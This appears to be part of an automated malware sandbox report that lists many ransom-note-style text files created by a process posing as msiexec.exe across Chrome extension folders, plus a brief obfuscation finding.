Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\et\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es_419\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_US\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en_GB\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ms\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\eu\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es_419\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\et\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_US\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\en_GB\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.0.0.6_0\==READ==THIS==PLEASE==4DE0B309.txt

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

